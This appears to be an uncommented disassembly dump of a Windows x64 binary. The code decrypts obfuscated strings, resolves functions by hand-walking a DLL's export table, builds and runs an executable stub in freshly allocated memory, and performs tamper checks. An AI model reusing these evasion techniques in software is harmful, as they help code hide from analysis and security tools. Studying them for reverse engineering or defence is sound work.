rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140025fc4
movdqa xmm0, xmmword [0x1400d7140]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], reloc.WLDAP32.dll_Ordinal_35
mov r10, r14
movabs rbx, 0x1545644e4
movabs r8, 0x1699ba9335
lea r11d, [rax + 0x11]
movabs r9, 0x2d3375266a
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3f8]
xor dil, r10b
mov byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140025e8e
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400d7180]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400d7050]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0x75ec
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x5a66ea4cd4
cmp r9, rax
jb 0x140025f32
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140095818
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x1400e49f0], r14
jne 0x140026000
mov ecx, 0x26b0
call fcn.14009a0dc
test rax, rax
je 0x140026000
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400e49f0], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400d7130]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.140030024
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x14002603f
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x1400e49f0]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14002615b
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140026113
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.14009a0dc
mov rsi, rax
test rax, rax
je 0x140026158
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400e49f0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b82d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b8970
mov rcx, rdi
call fcn.140099fb8
mov qword [0x1400e49f0], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.14002ff3c
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14002617c
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x1400e49f0]
test rbx, rbx
je 0x140026286
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140026240
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009a0dc
mov rsi, rax
test rax, rax
je 0x140026283
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400e49f0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b82d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b8970
mov rcx, rdi
call fcn.140099fb8
mov qword [0x1400e49f0], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x1400264b5
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400264b5
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400264b5
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400264b5
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x1400264b5
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002631a
inc rax
test edi, edi
jne 0x140026305
test r8d, r8d
je 0x14002632c
inc rdx
cmp rdx, rsi
jb 0x1400262f4
jmp 0x1400264b5
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400264b5
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x140026351
mov r14d, r15d
jmp 0x1400264b5
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.14008e850
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.140030b00
lea rcx, [rbp + 0x87b0]
call fcn.140030098
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x87b0]
call fcn.140030098
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x1400263c8
mov r8, r12
lea rdx, [rbp + 0x466e0]
mov rcx, rsi
call fcn.1400b82d0
mov dword [0x1400e2b04], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x1400e2b00]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e2b08]
mov word [rdi + 8], ax
mov al, byte [0x1400e2b0a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfcc], r15d
lea r9, [rbp + 0xfcc]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8d, 3
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400b8970
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400e2b04], r15d
mov rdi, qword [0x1400e49f0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x140026569
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140026557
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140026557
mov al, byte [rbp + 0xf70]
test al, al
jne 0x14002651c
xor edx, edx
call fcn.1400b8970
jmp 0x140026555
cmp al, 1
jne 0x140026557
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.140030868
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.140030a1c
lea rcx, [rbp + 0x1168]
call fcn.1400309ac
lea rcx, [rbp + 0x1168]
call fcn.140002288
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x1400264e0
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b8970
mov rcx, rdi
call fcn.140099fb8
xor r15d, r15d
mov qword [0x1400e49f0], r15
test r14d, r14d
js 0x14002e9c2
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14002e9c2
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.14009a0dc
test rax, rax
je 0x1400265cd
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400e49f0], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400d7130]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.140030024
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x140026610
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x1400e49f0]
test rbx, rbx
je 0x140026737
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400266e3
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009a0dc
mov rsi, rax
test rax, rax
je 0x14002672a
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400e49f0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b82d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b8970
mov rcx, rdi
call fcn.140099fb8
mov qword [0x1400e49f0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_33
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14002672d
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.14002ff3c
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x14002674e
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x1400e49f0]
test rbx, rbx
je 0x14002685d
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140026815
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.14009a0dc
mov rsi, rax
test rax, rax
je 0x14002685a
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400e49f0]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b82d0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b8970
mov rcx, rdi
call fcn.140099fb8
mov qword [0x1400e49f0], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x14002685d
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x1400268ee
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400268ee
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400268ee
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400268ee
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x1400268ee
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400268dd
inc rax
test edi, edi
jne 0x1400268c8
test r8d, r8d
je 0x140026969
inc rdx
cmp rdx, rsi
jb 0x1400268b7
mov r14d, r15d
mov rdi, qword [0x1400e49f0]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov esi, r13d
test r15, r15
jle 0x140026b38
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140026b26
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140026b26
mov al, byte [rbp + 0xf70]
test al, al
jne 0x140026aed
xor edx, edx
call fcn.1400b8970
jmp 0x140026b26
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400268ee
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x1400268ee
cmp al, 1
jne 0x140026b26
mov rdx, rcx
lea rcx, [rbp + 0x1148]
call fcn.140030868
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.140030a1c
lea rcx, [rbp + 0x1148]
call fcn.1400309ac
lea rcx, [rbp + 0x1148]
call fcn.140002288
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x14002691e
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b8970
mov rcx, rdi
call fcn.140099fb8
mov qword [0x1400e49f0], r13
test r14d, r14d
js 0x14002e831
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x14002e831
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov r14, qword [rsp + 0x70]
mov qword [rsp + 0x70], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r15d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r15
cmp r8d, 8
jb 0x140026be9
mov ebx, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r11b, dil
xor r11b, 0x28
mov esi, edi
mov r9d, r13d
lea r10, [rbp + 0xf58]
movzx ecx, byte [r10]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xf58]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
add r9d, r15d
add r10, r15
cmp r9d, 8
jb 0x140026c62
movzx ecx, r11b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add ebx, r15d
add r8, r15
movsxd rax, ebx
cmp rax, 0x28
jb 0x140026c44
mov qword [rbp + 0xf58], r14
movabs rax, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], rax
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r15
cmp r8d, 8
jb 0x140026d02
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r9, r15
cmp ecx, 8
jb 0x140026d70
movdqa xmm0, xmmword [0x1400d7140]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], reloc.WLDAP32.dll_Ordinal_35
mov r10, r13
movabs rbx, 0x1545644e5
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1699ba9335
movabs r9, 0x2d3375266a
movabs r14, 0x1545644e4
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002e885
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400d6ed0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x455f4eba
mov dword [rbp + 0x96c], 0xc23e737
mov dword [rbp + 0x970], 0xc3c7ac64
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
lea r10d, [rax + 0x1c]
movabs r9, 0x25396f890c
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x4a72df1218
cmp r9, rax
jb 0x14002e930
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d7140]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], reloc.WLDAP32.dll_Ordinal_35
mov r10, r15
movabs rbx, 0x1545644e5
movabs rsi, 0x8080808080808081
movabs r8, 0x1699ba9335
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2d3375266a
movabs r14, 0x1545644e4
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002ea16
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400d7030]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0xec26fe3c
mov word [rbp + 0x754], 0xf5
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x1beb13a6c9
movabs r10, 0x37d6274d92
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14002eaba
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140095818
int3
cmp rax, rbx
jne 0x14002ebe8
mov rax, qword gs:[0x13]
mov ecx, 0xb8e53625
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ebc8
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ebc8
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ebe8
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d7140]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], reloc.WLDAP32.dll_Ordinal_35
mov r10, r14
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1699ba9335
movabs r9, 0x2d3375266a
movabs r15, 0x1545644e4
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002ec32
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400d7190]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0xfca2d1bf
mov dword [rbp + 0x82c], 0xe05d7e
mov r8, r14
mov r10d, reloc.WS2_32.dll_socket
movabs r9, 0x1e93c03093
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x818]
xor dil, r8b
mov byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x3d27806126
cmp r9, rax
jb 0x14002eccd
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x31]
cmp rax, rbx
jne 0x14002ee10
mov rax, qword gs:[0x13]
movabs rcx, 0xfec17db8b17547b5
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002edf0
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002edf0
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ee10
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rbx
jne 0x14002f4ec
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x99c26a5
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002eeb3
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002eeb3
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f4ec
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d7140]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], reloc.WLDAP32.dll_Ordinal_35
mov r10, r15
movabs rbx, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1699ba9335
movabs r9, 0x2d3375266a
movabs r14, 0x1545644e4
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
